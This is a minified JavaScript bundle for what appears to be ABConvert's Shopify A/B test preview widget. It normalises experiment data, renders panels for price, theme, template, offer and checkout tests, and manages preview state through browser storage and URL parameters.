a(n,e){(0,o.s)(n,"abconvert-template-variation","200px",e)}},1951:(n,e,t)=>{t.d(e,{iX:()=>c,q2:()=>a});var o=t(2639);const r='<svg viewBox="0 0 12 12" width="12" height="12" fill="none" aria-hidden="true"><path d="M3 4.5 6 7.5l3-3" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"/></svg>';function i(n){return`abconvert-combined-mod-${n}`}function a(n){let{type:e,label:t,summary:a,contentHtml:c,expanded:s=!1}=n;const d=i(e),l=s?"expanded":"",u=a?`<span class="abconvert-combined-mod-summary">${(0,o.Z)(a)}</span>`:"";return`\n    <div class="abconvert-combined-mod">\n      <button id="${d}-toggle" class="abconvert-combined-mod-head" type="button">\n        <span class="abconvert-combined-mod-label">${(0,o.Z)(t)}</span>\n        <span class="abconvert-combined-mod-meta">\n          ${u}\n          <span id="${d}-arrow" class="abconvert-combined-mod-arrow ${l}">${r}</span>\n        </span>\n      </button>\n      <div id="${d}-content" class="abconvert-combined-mod-content ${l}">\n        ${c}\n      </div>\n    </div>\n  `}function c(n,e,t){const o=i(e),r=n.querySelector(`#${o}-toggle`),a=n.querySelector(`#${o}-content`),c=n.querySelector(`#${o}-arrow`);if(!r||!a)return;const s=n=>{a.style.maxHeight=n?"none":"0",c&&c.classList.toggle("expanded",n)};s(a.classList.contains("expanded")),r.addEventListener("click",(()=>{const n=a.classList.toggle("expanded");s(n),t&&t(`${o}:expanded`,n)}))}},2228:(n,e,t)=>{t.d(e,{A:()=>r});var o=t(5998);
901const r={displayName:"Offer Test",normalize:function(n){const e={};return(n?.experiments||[]).forEach((t=>{"Preview"===t.status&&(e[t.experimentId]={id:t.experimentId,name:t.name||"Offer Test",experimentId:t.numericId||t.experimentId,version:n.version||"v1",status:t.status,startTime:t.startTime,trafficAllocationPercent:t.trafficAllocationPercent,audienceTargeting:t.audienceTargeting,forceAssignRules:t.forceAssignRules,groups:(t.testGroups||[]).map((n=>({name:n.name,percentage:n.percentage,isControl:n.isControl,offer:n.offer||{title:"",parts:[]}}))),_original:t})})),e},renderPanel:function(n,e){const{experimentData:t,currentGroupIndex:r}=n,i=t.groups||[];return(0,o.R)({groups:i,currentGroupIndex:r,expanded:e.has("abconvert-offer-config"),embedded:n.embedded})},initPanelEvents:function(n,e,t){(0,o.g)(n,t)},onGroupSwitch:function(n){try{const e=`abconvert.offer-msg.dismissed.${n.id}.`,t=[];for(let n=0;n<sessionStorage.length;n++){const o=sessionStorage.key(n);o&&o.startsWith(e)&&t.push(o)}t.forEach((n=>sessionStorage.removeItem(n)))}catch{}}}},2639:(n,e,t)=>{function o(n){return String(n??"").replace(/&/g,"&amp;").replace(/</g,"&lt;").replace(/>/g,"&gt;").replace(/"/g,"&quot;")}t.d(e,{Z:()=>o})},3835:(n,e,t)=>{t.d(e,{A:()=>o});const o={displayName:"Combined Test",normalize:function(n){const e={};return(n?.experiments||[]).forEach((n=>{if("preview"!==n.status)return;const t=n.id;t&&(e[t]={id:t,name:n.name||"Combined test",experimentId:n.experimentId??t,status:"Preview",startTime:n.startedAt,trafficAllocationPercent:n.traffic?.allocationPercent,audienceTargeting:n.traffic?.audience,forceAssignRules:n.traffic?.forceAssign,groups:(n.groups||[]).map((n=>({name:n.name,percentage:n.percentage,isControl:n.isControl,modifications:n.modifications||[]}))),_original:n})})),e}}},4366:(n,e,t)=>{function o(n){return Array.isArray(n?.availableMarkets)?n.availableMarkets:r(n)}function r(n){const e=new Set,t=n?.products||[];for(const n of t)for(const t of n.variants||[])if(t.testGroups)for(const n of t.testGroups)n?.countryMap&&Object.keys(n.countryMap).forEach((n=>e.add(n)));return Array.from(e).sort()}function i(n){let{availableMarkets:e,currentMarket:t,shopPrimaryCountry:o,marketNames:r,pricedCountries:i}=n;if(!e||0===e.length)return"";const a=!!o&&e.includes(o),c=t||(a?o:null),s=e.map((n=>`<option value="${n}" ${n===c?"selected":""}>${r?.[n]||n}</option>`)).join(""),d=a?"":`<option value="">${o?`Default (${o})`:"Default (Shop Currency)"}</option>`,l=(window.Shopify?.country||"").toUpperCase(),u=c&&l&&l!==c,p=Array.isArray(i)&&i.includes(l);let v="";return u&&p?v=`<div class="abconvert-market-mismatch-note" style="margin-top:6px;font-size:12px;color:#616161;">\n        Showing ${l} prices (this page's country).\n      </div>`:u&&(v=`<div class="abconvert-market-mismatch-note" style="margin-top:6px;font-size:12px;color:#996a13;">\n        This page is shown for ${l}, so prices follow ${l}.\n        Open a product below, or switch the preview's country bar, to see ${r?.[c]||c} prices.\n      </div>`),`\n    <div class="abconvert-section">\n      <label class="abconvert-section-label">Preview Market</label>\n      <select id="abconvert-market-selector" class="abconvert-select">\n        ${d}\n        ${s}\n      </select>\n      ${v}\n    </div>\n  `}function a(n,e){const t=n.querySelector("#abconvert-market-selector");t&&t.addEventListener("change",(function(){const n=this.value||null;e&&e(n)}))}t.d(e,{BP:()=>a,P7:()=>r,SP:()=>o,sz:()=>i})},4788:(n,e,t)=>{t.d(e,{DZ:()=>l,IL:()=>c,K7:()=>$,P3:()=>f,Ys:()=>v,a4:()=>g,e1:()=>p,gp:()=>u,hM:()=>m,nI:()=>b,tj:()=>s,uH:()=>h,xX:()=>d});const o={PREVIEW_MODE:"abconvert.preview",PREVIEW_EXPERIMENT_ID:"abconvert_preview_experiment_id",PREVIEW_GROUP_PREFIX:"abconvert.experiment.",PREVIEW_GROUP_SUFFIX:".group",PREVIEW_MARKET:"abconvert-country",EXPANDED_SECTIONS:"abconvert.widget.expanded"};function r(n){try{return window.sessionStorage?.getItem(n)??null}catch(n){return null}}function i(n,e){try{window.sessionStorage?.setItem(n,e)}catch(n){}}function a(n){try{return window.localStorage?.getItem(n)??null}catch(n){return null}}function c(){return"true"===r(o.PREVIEW_MODE)}function s(){return r(o.PREVIEW_EXPERIMENT_ID)}function d(n){i(o.PREVIEW_EXPERIMENT_ID,n)}function l(n){const e=r(o.PREVIEW_GROUP_PREFIX+n+o.PREVIEW_GROUP_SUFFIX);return null!==e?parseInt(e,10):null}function u(n,e){i(o.PREVIEW_GROUP_PREFIX+n+o.PREVIEW_GROUP_SUFFIX,e.toString())}function p(){return r(o.PREVIEW_MARKET)||a(o.PREVIEW_MARKET)}function v(n){n?(i(o.PREVIEW_MARKET,n),function(n,e){try{window.localStorage?.setItem(n,e)}catch(n){}}(o.PREVIEW_MARKET,n)):(function(n){try{window.sessionStorage?.removeItem(n)}catch(n){}}(o.PREVIEW_MARKET),function(n){try{window.localStorage?.removeItem(n)}catch(n){}}(o.PREVIEW_MARKET))}function f(n){return new URLSearchParams(window.location.search).get(n)}function b(n){const e=new URL(window.location.href);e.searchParams.delete(n),window.history.replaceState({},"",e.toString())}function g(n){const e=new URL(window.location.href);
901Object.entries(n).forEach((n=>{let[t,o]=n;null!=o?e.searchParams.set(t,o):e.searchParams.delete(t)})),window.location.href=e.toString()}function m(n){const e=new URL(window.location.href),t=new URL(n,window.location.origin),i=e.searchParams.get("country")||r(o.PREVIEW_MARKET)||a(o.PREVIEW_MARKET);return i&&t.searchParams.set("country",i),t.toString()}function h(){const n=r(o.EXPANDED_SECTIONS);return new Set(n?JSON.parse(n):[])}function $(n){i(o.EXPANDED_SECTIONS,JSON.stringify([...n]))}},5001:(n,e,t)=>{t.d(e,{A:()=>i});var o=t(1719);function r(n){n.searchParams.delete("_abr"),n.searchParams.delete("preview_theme_id"),n.searchParams.delete("pb")}const i={displayName:"Theme Test",normalize:function(n){if(!n||"Preview"!==n.status)return{};const e=n.experimentId;if(!e)return{};const t=n.testGroups||[];return{[e]:{id:e,name:"Theme Test",experimentId:n.numericId||e,version:n.version||"legacy",status:n.status,startTime:n.startTime,trafficAllocationPercent:n.trafficAllocationPercent,audienceTargeting:n.audienceTargeting,forceAssignRules:n.forceAssignRules,groups:t.map((n=>({name:n.name,percentage:n.percentage,isControl:n.isControl,theme:n.variation?.theme||n.theme}))),_original:n}}},renderPanel:function(n,e){const{experimentData:t,currentGroupIndex:r}=n,i=t.groups||[];return(0,o.c)({groups:i,currentGroupIndex:r,expanded:e.has("abconvert-theme-info"),embedded:n.embedded})},initPanelEvents:function(n,e,t){(0,o.N)(n,t)},onGroupSwitch:function(){const n=new URL(window.location.href);return r(n),window.location.replace(n.toString()),!0},stripGroupSwitchParams:r}},5233:(n,e,t)=>{t.d(e,{A:()=>a});var o=t(4788),r=t(8711),i=t(4366);const a={displayName:"Price Test",normalize:function(n){const e=n?.experiments||{},t={};return Object.entries(e).forEach((n=>{let[e,o]=n;"Preview"===o.status&&(t[e]={...o,id:e,name:o.name||"Price Test",experimentId:o.experimentId||e,version:o.version||"v3",status:o.status,groups:o.groups||[],products:o.products||[],shopPrimaryCountry:o.shopPrimaryCountry||null})})),t},resolveState:function(n){return{selectedMarket:(0,o.e1)(),availableMarkets:(0,i.SP)(n)}},renderPanel:function(n,e){const{experimentData:t,experimentId:o,currentGroupIndex:a,selectedMarket:c,availableMarkets:s}=n,d=t.products,l=t.shopPrimaryCountry;return(0,i.sz)({availableMarkets:s,currentMarket:c,shopPrimaryCountry:l,marketNames:t.marketNames,pricedCountries:(0,i.P7)(t)})+(0,r.K)({products:d,experimentId:o,groupIndex:a,selectedMarket:c,shop:{currency:t.shopCurrency,primaryCountry:l,countryCurrencies:t.countryCurrencies},expanded:e.has("abconvert-products"),embedded:n.embedded})},initPanelEvents:function(n,e,t){const a=e.experimentData?.shopPrimaryCountry||"US";(0,i.BP)(n,(n=>{(0,o.Ys)(n||null),(0,o.a4)({country:n||a})})),(0,r.j)(n,t)}}},5246:(n,e,t)=>{t.d(e,{H5:()=>h,JB:()=>f,Mo:()=>g,Mq:()=>k,WU:()=>m,uh:()=>$});var o=t(947),r=t(1951),i=t(5233),a=t(8368),c=t(7626),s=t(6020),d=t(5848),l=t(5001),u=t(1338),p=t(2228),v=t(3835);const f={PRICE:"price",CONTENT:"content",URL_REDIRECT:"urlRedirect",TEMPLATE:"template",THEME:"theme",SHIPPING:"shipping",PAYMENT:"payment",DELIVERY:"delivery",CHECKOUT_UI:"checkoutUI",CHECKOUT_TEST:"checkoutTest",VISUAL_EDITOR:"visualEditor",OFFER:"offer",COMBINED:"combined"},b={[f.PRICE]:i.A,[f.SHIPPING]:a.A,[f.URL_REDIRECT]:c.A,[f.VISUAL_EDITOR]:s.A,[f.TEMPLATE]:d.A,[f.THEME]:l.A,[f.CHECKOUT_TEST]:u.A,[f.OFFER]:p.A,[f.COMBINED]:v.A};function g(){const n=(0,o.G)(),e={},t=b[f.COMBINED],r=t?.normalize?t.normalize(n[f.COMBINED]):{},i=new Set(Object.keys(r));for(const[n,t]of Object.entries(r))e[n]={...t,testType:f.COMBINED,modificationEntries:{}};for(const[t,o]of Object.entries(n)){if(t===f.COMBINED)continue;const n=b[t];if(n?.normalize)for(const[r,a]of Object.entries(n.normalize(o))){const n=i.has(r)?e[r]:null;n?n.modificationEntries[t]={...a,testType:t}:null==(a.combinedExperimentId??a._original?.combinedExperimentId)&&(e[r]={...a,testType:t})}}return e}function m(n,e){const t=b[n];return t?.resolveState?t.resolveState(e):{}}function h(n,e,t){if(n===f.COMBINED)return function(n,e){const{experimentData:t,currentGroupIndex:o}=n,i=t.modificationEntries||{};return x(t,o).map((n=>{const t=y[n.type],a=i[t],c=a?h(t,w(t,a,o),e):'<div class="abconvert-combined-mod-empty">No detail available.</div>',s=`abconvert-combined-mod-${t}:expanded`;return(0,r.q2)({type:t,label:E(t),summary:n.summary,contentHtml:c,expanded:e.has(s)})})).join("")}(e,t);const o=b[n];return o?.renderPanel?o.renderPanel(e,t):""}function $(n,e,t,o){if(n===f.COMBINED)return void function(n,e,t){const{experimentData:o,currentGroupIndex:i}=e,a=o.modificationEntries||{};for(const e of x(o,i)){const o=y[e.type];(0,r.iX)(n,o,t);const c=a[o];c&&$(o,n,w(o,c,i),t)}}(e,t,o);const i=b[n];i?.initPanelEvents&&i.initPanelEvents(e,t,o)}function x(n,e){const t=n?.groups||[];return(t[e]??t[0])?.modifications||[]}function w(n,e,t){return{testType:n,experimentData:e,experimentId:e.id,currentGroupIndex:t,embedded:!0,...m(n,e)}}const y={"price-cart-transform-test":f.PRICE,"shipping-test":f.SHIPPING,"offer-test":f.OFFER,"url-redirect-test":f.URL_REDIRECT,"template-test":f.TEMPLATE,"theme-test":f.THEME,"visual-editor-content-test":f.VISUAL_EDITOR,"checkout-test":f.CHECKOUT_TEST};function k(n,e,t){if(n===f.COMBINED)return function(n,e){const t=new URL(window.location.href);let o=!1;for(const r of function(n){const e=new Set;for(const t of n?.groups||[])for(const n of t.modifications||[])n?.type&&e.add(n.type);return[...e]}(n)){const i=b[y[r]];i&&(i.stripGroupSwitchParams?(i.stripGroupSwitchParams(t),o=!0):i.onGroupSwitch&&i.onGroupSwitch(n,e))}return!!o&&(window.location.replace(t.toString()),!0)}(e,t);const o=b[n];return!!o?.onGroupSwitch&&!0===o.onGroupSwitch(e,t)}function E(n){const e=b[n];return e?.displayName||"A/B Test"}},5848:(n,e,t)=>{t.d(e,{A:()=>i});var o=t(1840);function r(n){n.searchParams.delete("view"),n.searchParams.delete("_abr")}
901const i={displayName:"Template Test",normalize:function(n){const e={};return(n?.experiments||[]).forEach((n=>{if("Preview"!==n.status)return;const t=n.experimentId;e[t]={id:t,name:n.name||"Template Test",experimentId:n.numericId||t,version:n.version||"v1",status:n.status||"Active",startTime:n.startTime,trafficAllocationPercent:n.trafficAllocationPercent,audienceTargeting:n.audienceTargeting,forceAssignRules:n.forceAssignRules,groups:(n.testGroups||[]).map((n=>({name:n.name,percentage:n.percentage,template:n.template||n.variation?.template||{}}))),_original:n}})),e},renderPanel:function(n,e){const{experimentData:t,currentGroupIndex:r}=n,i=t.groups||[];return(0,o.l)({groups:i,currentGroupIndex:r,expanded:e.has("abconvert-template-variation"),embedded:n.embedded})},initPanelEvents:function(n,e,t){(0,o.k)(n,t)},onGroupSwitch:function(n,e){const t=new URL(window.location.href);return r(t),window.location.href=t.toString(),!0},stripGroupSwitchParams:r}},5998:(n,e,t)=>{t.d(e,{R:()=>m,g:()=>h});var o=t(6868),r=t(2639);const i=3,a={"amount-off-products":"Amount off products","amount-off-order":"Amount off order","shipping-discount":"Shipping discount","volume-discount":"Volume discount","threshold-discount":"Threshold discount"},c={product:'<svg viewBox="0 0 20 20" width="16" height="16" fill="none" aria-hidden="true"><path d="M10 2.5l6.5 3.25v7L10 16l-6.5-3.25v-7L10 2.5z" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"/><path d="M3.5 5.75L10 9l6.5-3.25M10 9v7" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"/></svg>',collection:'<svg viewBox="0 0 20 20" width="16" height="16" fill="none" aria-hidden="true"><rect x="3" y="3" width="6" height="6" rx="1" stroke="currentColor" stroke-width="1.5"/><rect x="11" y="3" width="6" height="6" rx="1" stroke="currentColor" stroke-width="1.5"/><rect x="3" y="11" width="6" height="6" rx="1" stroke="currentColor" stroke-width="1.5"/><rect x="11" y="11" width="6" height="6" rx="1" stroke="currentColor" stroke-width="1.5"/></svg>',shipping:'<svg viewBox="0 0 20 20" width="16" height="16" fill="none" aria-hidden="true"><path d="M2 10h11l-2-3M2 10l2 3M16 10v4a1 1 0 0 1-1 1h-1m-9 0h6m3 0a2 2 0 1 1-4 0 2 2 0 0 1 4 0z" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"/></svg>'};function s(n){return n?"percentage"===n.type?`${n.amount}%`:`$${n.amount}`:""}function d(n){const e=function(n){switch(n.type){case"amount-off-products":case"amount-off-order":return`${s(n.value)} off`;case"shipping-discount":return"percentage"===n.value?.type&&n.value.amount>=100?"Free shipping":`${s(n.value)} off`;case"volume-discount":case"threshold-discount":{const e=(n.tiers||[]).filter((n=>n.threshold>0&&n.value?.amount>0));if(0===e.length)return"volume-discount"===n.type?"Volume discount — no tiers set":"Threshold discount — no tiers set";const t=function(n){const e=n.filter((n=>"percentage"===n.value?.type)),t=n.filter((n=>"fixedAmount"===n.value?.type)),o=e.length>=t.length?e:t;return o.reduce(((n,e)=>e.value.amount>n.amount?e.value:n),o[0]?.value??n[0].value)}(e),o=1===e.length?"tier":"tiers";return`Up to ${s(t)} off (${e.length} ${o})`}default:return n.type||""}}(n);return[e,...v(n)].join(" · ")}function l(n,e){return null==e?`${n}+ items`:e===n+1?1===n?"1 item":`${n} items`:`${n}–${e-1} items`}function u(n,e){if(null==e)return`$${p(n)}+`;const t=Number.isInteger(n)&&Number.isInteger(e)?e-1:Math.round(100*(e-.01))/100;return`$${p(n)}–$${p(t)}`}function p(n){return Number.isInteger(n)?String(n):n.toFixed(2)}function v(n){const e=[];("amount-off-products"===n.type||"amount-off-order"===n.type||"shipping-discount"===n.type)&&"percentage"===n.value?.type&&n.value.maxDiscountAmount>0&&e.push(`Max $${n.value.maxDiscountAmount} cap`);const t=n.condition;
901return t&&"none"!==t.type&&("min-subtotal"===t.type?e.push(`Min order $${t.amount}`):"min-quantity"===t.type&&e.push(`Min ${t.quantity} item${1===t.quantity?"":"s"}`)),e}function f(n,e){return`${n} ${e}${1===n?"":"s"}`}function b(n){if(!n)return'<span class="abconvert-offer-type abconvert-offer-type-empty">No offer</span>';const e=a[n.type]||n.type;return`<span class="abconvert-offer-type">${(0,r.Z)(e)}</span>`}function g(n,e){const t=n?.parts||[];if(0===t.length)return function(n){const e=n?"No offer (normal price)":"No offer configured";return`\n    <div class="abconvert-offer-card">\n      <div class="abconvert-offer-head">\n        <div class="abconvert-offer-primary-row">\n          <div class="abconvert-offer-primary">${(0,r.Z)(e)}</div>\n          ${b(null)}\n        </div>\n      </div>\n    </div>\n  `}(e);const o=t.length>1,a=t.map(d).join(" + "),p=t[0],g=o?null:function(n){if("amount-off-products"===n.type||"volume-discount"===n.type){const e=n.scope;if(!e||"all-products"===e.type)return null;if("specific-products"===e.type){const n=(e.products||[]).map((n=>n.title));return 0===n.length?null:{icon:c.product,label:f(n.length,"product"),names:n}}if("specific-collections"===e.type){const n=(e.collections||[]).map((n=>n.title));return 0===n.length?null:{icon:c.collection,label:f(n.length,"collection"),names:n}}}if("shipping-discount"===n.type){const e=n.scope;if(!e||"all-rates"===e.type)return null;if("specific-rates"===e.type){const n=e.rateNames||[];return 0===n.length?null:{icon:c.shipping,label:f(n.length,"rate"),names:n}}}return null}(p),m=n.title?.trim()||"",h=m||a,$=o?"":function(n){if("volume-discount"!==n.type&&"threshold-discount"!==n.type)return"";const e=(n.tiers||[]).filter((n=>n.threshold>0&&n.value?.amount>0));if(0===e.length)return"";const t="volume-discount"===n.type,o=t?"Qty":"Spend",i=t?l:u,a=[...e].sort(((n,e)=>n.threshold-e.threshold)),c=a.map(((n,e)=>{const t=a[e+1];return`\n    <div class="abconvert-offer-tier-row">
901\n      <span class="abconvert-offer-tier-qty">${(0,r.Z)(i(n.threshold,t?.threshold))}</span>\n      <span class="abconvert-offer-tier-discount">${(0,r.Z)(`${s(n.value)} off`)}</span>\n    </div>\n  `})).join("");return`\n    <div class="abconvert-offer-tier-table">\n      <div class="abconvert-offer-tier-header">\n        <span class="abconvert-offer-tier-header-label">${(0,r.Z)(o)}</span>\n        <span class="abconvert-offer-tier-header-label">Discount</span>\n      </div>\n      ${c}\n    </div>\n  `}(p),x=$?v(p).join(" · "):a,w=m&&x?`<div class="abconvert-offer-secondary">${(0,r.Z)(x)}</div>`:"";return`\n    <div class="abconvert-offer-card">\n      <div class="abconvert-offer-head">\n        <div class="abconvert-offer-primary-row">\n          <div class="abconvert-offer-primary">${(0,r.Z)(h)}</div>\n          ${b(p)}\n        </div>\n        ${w}\n      </div>\n      ${$}\n      ${function(n){if(!n)return"";const e=n.names.slice(0,i),t=n.names.slice(i),o=t.length,a=t.join(", "),c=o>0?`<span class="abconvert-offer-overflow" data-tooltip="${(0,r.Z)(a)}" aria-label="${(0,r.Z)(a)}">+${o} more</span>`:"";return`\n    <div class="abconvert-offer-scope">
901\n      <span class="abconvert-offer-scope-icon">${n.icon}</span>\n      <div class="abconvert-offer-scope-body">\n        <div class="abconvert-offer-scope-count">${(0,r.Z)(n.label)}</div>\n        <div class="abconvert-offer-scope-names">\n          <span>${(0,r.Z)(e.join(", "))}</span>\n          ${c}\n        </div>\n      </div>\n    </div>\n  `}(g)}\n    </div>\n  `}function m(n){let{groups:e,currentGroupIndex:t,expanded:r=!1,embedded:i=!1}=n;if(!e||0===e.length)return"";const a=e[t]??e[0];return a?(0,o.q)({id:"abconvert-offer-config",title:"Offer Config",content:g(a.offer,a.isControl),expanded:r,embedded:i}):""}function h(n,e){(0,o.s)(n,"abconvert-offer-config","320px",e)}},6020:(n,e,t)=>{t.d(e,{A:()=>i});var o=t(9885);let r=null;const i={displayName:"Visual Editor Test",normalize:function(n){const e={};return(n?.experiments||[]).forEach((n=>{if("Preview"!==n.status)return;const t=n.experimentId;e[t]={id:t,name:n.name||"Visual Editor Test",experimentId:n.numericId||t,status:n.status||"Active",startTime:n.startTime,trafficAllocationPercent:n.trafficAllocationPercent,audienceTargeting:n.audienceTargeting,forceAssignRules:n.forceAssignRules,groups:n.testGroups||[],_original:n}})),e},renderPanel:function(n,e){const{experimentData:t,currentGroupIndex:i}=n,a=t.groups||[];return(0,o.k)({groups:a,groupIndex:i,expanded:e.has("abconvert-visual-editor-pages"),activeTab:r,embedded:n.embedded})},initPanelEvents:function(n,e,t){const{experimentData:i,currentGroupIndex:a}=e,c=i.groups||[];(0,o.H)(n,t,(n=>{r=n}),{groups:c,groupIndex:a})}}},6538:(n,e,t)=>{t.d(e,{MY:()=>C,RW:()=>E,gv:()=>i});var o=t(6868),r=t(2639);const i="abconvert-checkout-config",a=["delivery","payment","content","cart","upsell"],c={delivery:"Delivery",payment:"Payment",content:"Content blocks",cart:"Cart",upsell:"Upsell"},s={heading:"content",banner:"content","trust-badge":"content",button:"content",benefit:"content",image:"content","payment-icon":"content","upsell-product-tile":"upsell","cart-control":"cart"},d={heading:"Heading",banner:"Banner","trust-badge":"Trust badge",button:"Button",benefit:"Benefit list",image:"Image","payment-icon":"Payment icons","upsell-product-tile":"Product offer","cart-control":"Cart control"},l={hide:"Hide",rename:"Rename",reorder:"Reorder"},u={heading:'<svg viewBox="0 0 16 16" width="14" height="14" fill="none" aria-hidden="true"><path d="M3 3v10M9 3v10M3 8h6" stroke="currentColor" stroke-width="1.4" stroke-linecap="round"/><path d="M11 6.5l1.5-1V13" stroke="currentColor" stroke-width="1.4" stroke-linecap="round" stroke-linejoin="round"/></svg>',banner:'<svg viewBox="0 0 16 16" width="14" height="14" fill="none" aria-hidden="true"><rect x="2.5" y="4.5" width="11" height="7" rx="1.5" stroke="currentColor" stroke-width="1.3"/><circle cx="5.5" cy="8" r="0.9" fill="currentColor"/><path d="M7.5 8h3.5" stroke="currentColor" stroke-width="1.3" stroke-linecap="round"/></svg>',"trust-badge":'<svg viewBox="0 0 16 16" width="14" height="14" fill="none" aria-hidden="true"><path d="M8 2.2 13 4v4.2c0 2.6-2 4.7-5 5.6-3-.9-5-3-5-5.6V4l5-1.8Z" stroke="currentColor" stroke-width="1.3" stroke-linejoin="round"/><path d="m6 8 1.5 1.5L10 7" stroke="currentColor" stroke-width="1.3" stroke-linecap="round" stroke-linejoin="round"/></svg>',button:'<svg viewBox="0 0 16 16" width="14" height="14" fill="none" aria-hidden="true"><rect x="2" y="6" width="12" height="4" rx="2" stroke="currentColor" stroke-width="1.3"/><circle cx="11.5" cy="8" r="0.9" fill="currentColor"/></svg>',benefit:'<svg viewBox="0 0 16 16" width="14" height="14" fill="none" aria-hidden="true"><path d="M3 4.5h10M3 8h10M3 11.5h6.5" stroke="currentColor" stroke-width="1.4" stroke-linecap="round"/><circle cx="3" cy="4.5" r="0.6" fill="currentColor"/><circle cx="3" cy="8" r="0.6" fill="currentColor"/><circle cx="3" cy="11.5" r="0.6" fill="currentColor"/></svg>',image:'<svg viewBox="0 0 16 16" width="14" height="14" fill="none" aria-hidden="true"><rect x="2.5" y="3" width="11" height="10" rx="1.5" stroke="currentColor" stroke-width="1.3"/><circle cx="6" cy="6.5" r="1.1" stroke="currentColor" stroke-width="1.2"/><path d="m3 12 3.2-3.5 2.3 2L11 7l2 2.4" stroke="currentColor" stroke-width="1.3" stroke-linejoin="round"/></svg>',"payment-icon":'<svg viewBox="0 0 16 16" width="14" height="14" fill="none" aria-hidden="true"><rect x="2" y="4.5" width="12" height="7.5" rx="1.3" stroke="currentColor" stroke-width="1.3"/><path d="M2 7h12" stroke="currentColor" stroke-width="1.3"/><path d="M4.5 9.5h2" stroke="currentColor" stroke-width="1.3" stroke-linecap="round"/></svg>',"upsell-product-tile":'<svg viewBox="0 0 16 16" width="14" height="14" fill="none" aria-hidden="true"><path d="m4 12 4-7 4 7" stroke="currentColor" stroke-width="1.4" stroke-linejoin="round" stroke-linecap="round"/>
901<path d="M5 8.5h6" stroke="currentColor" stroke-width="1.3" stroke-linecap="round"/></svg>',"cart-control":'<svg viewBox="0 0 16 16" width="14" height="14" fill="none" aria-hidden="true"><path d="M2.5 4.5h2l1.4 6.4a1.2 1.2 0 0 0 1.2 1h4.6a1.2 1.2 0 0 0 1.2-1l.9-4.4H5" stroke="currentColor" stroke-width="1.3" stroke-linecap="round" stroke-linejoin="round"/><circle cx="6.5" cy="13.5" r="0.9" fill="currentColor"/><circle cx="11" cy="13.5" r="0.9" fill="currentColor"/></svg>',hide:'<svg viewBox="0 0 16 16" width="14" height="14" fill="none" aria-hidden="true"><path d="M2.5 8s2-4 5.5-4 5.5 4 5.5 4-2 4-5.5 4-5.5-4-5.5-4Z" stroke="currentColor" stroke-width="1.3" stroke-linejoin="round"/><circle cx="8" cy="8" r="1.6" stroke="currentColor" stroke-width="1.3"/><path d="m3 3 10 10" stroke="currentColor" stroke-width="1.4" stroke-linecap="round"/></svg>',rename:'<svg viewBox="0 0 16 16" width="14" height="14" fill="none" aria-hidden="true"><path d="M2.5 13.5h11" stroke="currentColor" stroke-width="1.3" stroke-linecap="round"/><path d="m3 11 7.5-7.5a1.5 1.5 0 0 1 2.1 0l.4.4a1.5 1.5 0 0 1 0 2.1L5.5 13.5H3V11Z" stroke="currentColor" stroke-width="1.3" stroke-linejoin="round"/></svg>
901',reorder:'<svg viewBox="0 0 16 16" width="14" height="14" fill="none" aria-hidden="true"><path d="M3 4h7M3 8h7M3 12h7" stroke="currentColor" stroke-width="1.3" stroke-linecap="round"/><path d="m12.5 5 1 1.5L12 8M13.5 11l-1 1.5L11 11" stroke="currentColor" stroke-width="1.3" stroke-linecap="round" stroke-linejoin="round"/></svg>',arrow:'<svg viewBox="0 0 12 12" width="10" height="10" fill="none" aria-hidden="true"><path d="m4 2 4 4-4 4" stroke="currentColor" stroke-width="1.4" stroke-linecap="round" stroke-linejoin="round"/></svg>',check:'<svg viewBox="0 0 12 12" width="10" height="10" fill="none" aria-hidden="true"><path d="m3 6.5 2 2 4-4.5" stroke="currentColor" stroke-width="1.6" stroke-linecap="round" stroke-linejoin="round"/></svg>'},p=new Set;function v(n){return`<span class="abconvert-checkout-meta">${(0,r.Z)(n)}</span>`}function f(n){return`<span class="abconvert-checkout-method-chip">${(0,r.Z)(n)}</span>`}function b(n,e){return`<span class="abconvert-checkout-flag ${e?"abconvert-checkout-flag-on":"abconvert-checkout-flag-off"}">${e?u.check:""}${(0,r.Z)(n)}</span>`}function g(n){const e=n[0];return e?n.length>1?`"${e.text}" + ${n.length-1} more`:e.url?`"${e.text}" → ${e.url}`:`"${e.text}"`:"(no buttons)"}function m(n){const e=[];return n.showQuantitySelector&&e.push("qty"),n.showVariantSelector&&e.push("variant"),e.length?` · ${e.join(" + ")}`:""}function h(n){if(!n)return"";const e=String(n).split("?")[0];return e.split("/").filter(Boolean).pop()||e}function $(n){return n?String(n).charAt(0).toUpperCase()+String(n).slice(1):""}const x={hide:{head:n=>{const e=(n.methods||[]).length;return v(`${e} ${1===e?"method":"methods"}`)},body:n=>{const e=n.methods||[];return 0===e.length?"":`<div class="abconvert-checkout-chip-row">${e.map(f).join("")}</div>`}},rename:{head:n=>{const e=n.renameRules||[];return 1===e.length?v(`${e[0].fromMatcher} "${e[0].from}"`):v(`${e.length} rules`)},body:n=>{const e=n.renameRules||[];return 0===e.length?"":`<div class="abconvert-checkout-rename-list">${e.map(w).join("")}</div>`}},reorder:{head:()=>v("pin to top"),body:n=>{const e=n.pinnedMethods||[];return 0===e.length?"":`<div class="abconvert-checkout-chip-row">${e.map(((n,e)=>function(n,e){return`<span class="abconvert-checkout-method-chip"><span class="abconvert-checkout-pin-idx">${e+1}.</span>${(0,r.Z)(n)}</span>`}(n.value,e))).join("")}</div>`}}};function w(n){const e=function(n){return"append"===n.toAction?`… ${n.to}`:"prepend"===n.toAction?`${n.to} …`:n.to}(n);return`\n    <div class="abconvert-checkout-rename-rule">
